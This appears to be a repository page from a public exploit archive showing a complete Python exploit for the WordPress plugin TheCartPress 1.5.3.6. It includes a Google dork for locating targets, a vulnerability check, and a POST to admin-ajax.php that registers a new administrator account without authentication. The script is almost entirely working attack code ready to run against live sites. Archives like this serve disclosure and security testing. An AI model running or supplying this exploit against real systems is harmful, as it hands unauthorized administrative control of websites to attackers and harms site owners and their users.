44fc5e9b1a
4 changes to exploits/shellcodes Student Quarterly Grading System 1.0 - SQLi Authentication Bypass Atlassian Confluence 7.12.2 - Pre-Authorization Arbitrary File Read Wordpress Plugin TheCartPress 1.5.3.6 - Privilege Escalation (Unauthenticated) Wordpress Plugin MStore API 2.0.6 - Arbitrary File Upload
65 lines
No EOL
1.5 KiB
Python
Executable file
65 lines
No EOL
1.5 KiB
Python
Executable file
# Exploit Title: Wordpress Plugin TheCartPress 1.5.3.6 - Privilege Escalation (Unauthenticated)
|
|
# Google Dork: inurl:/wp-content/plugins/thecartpress/
|
|
# Date: 04/10/2021
|
|
# Exploit Author: spacehen
|
|
# Vendor Homepage: https://wordpress.org/plugin/thecartpress
|
|
# Version: <= 1.5.3.6
|
|
# Tested on: Ubuntu 20.04.1
|
|
|
|
import os.path
|
|
from os import path
|
|
import json
|
|
import requests;
|
|
import sys
|
|
|
|
def print_banner():
|
|
print("TheCartPress <= 1.5.3.6 - Unauthenticated Privilege Escalation")
|
|
print("Author -> space_hen (www.github.com/spacehen)")
|
|
|
|
def print_usage():
|
|
print("Usage: python3 exploit.py [target url]")
|
|
print("Ex: python3 exploit.py https://example.com")
|
|
|
|
def vuln_check(uri):
|
|
response = requests.get(uri)
|
|
raw = response.text
|
|
if ("User name is required" in raw):
|
|
return True;
|
|
else:
|
|
return False;
|
|
|
|
def main():
|
|
|
|
print_banner()
|
|
if(len(sys.argv) != 2):
|
|
print_usage();
|
|
sys.exit(1);
|
|
|
|
base = sys.argv[1]
|
|
|
|
ajax_action = 'tcp_register_and_login_ajax'
|
|
admin = '/wp-admin/admin-ajax.php';
|
|
|
|
uri = base + admin + '?action=' + ajax_action ;
|
|
check = vuln_check(uri);
|
|
|
|
if(check == False):
|
|
print("(*) Target not vulnerable!");
|
|
sys.exit(1)
|
|
|
|
data = {
|
|
"tcp_new_user_name" : "admin_02",
|
|
"tcp_new_user_pass" : "admin1234",
|
|
"tcp_repeat_user_pass" : "admin1234",
|
|
"tcp_new_user_email" : "test@test.com",
|
|
"tcp_role" : "administrator"
|
|
}
|
|
print("Inserting admin...");
|
|
response = requests.post(uri, data=data )
|
|
if (response.text == "\"\""):
|
|
print("Success!")
|
|
print("Now login at /wp-admin/")
|
|
else:
|
|
print(response.text)
|
|
|
|
main(); |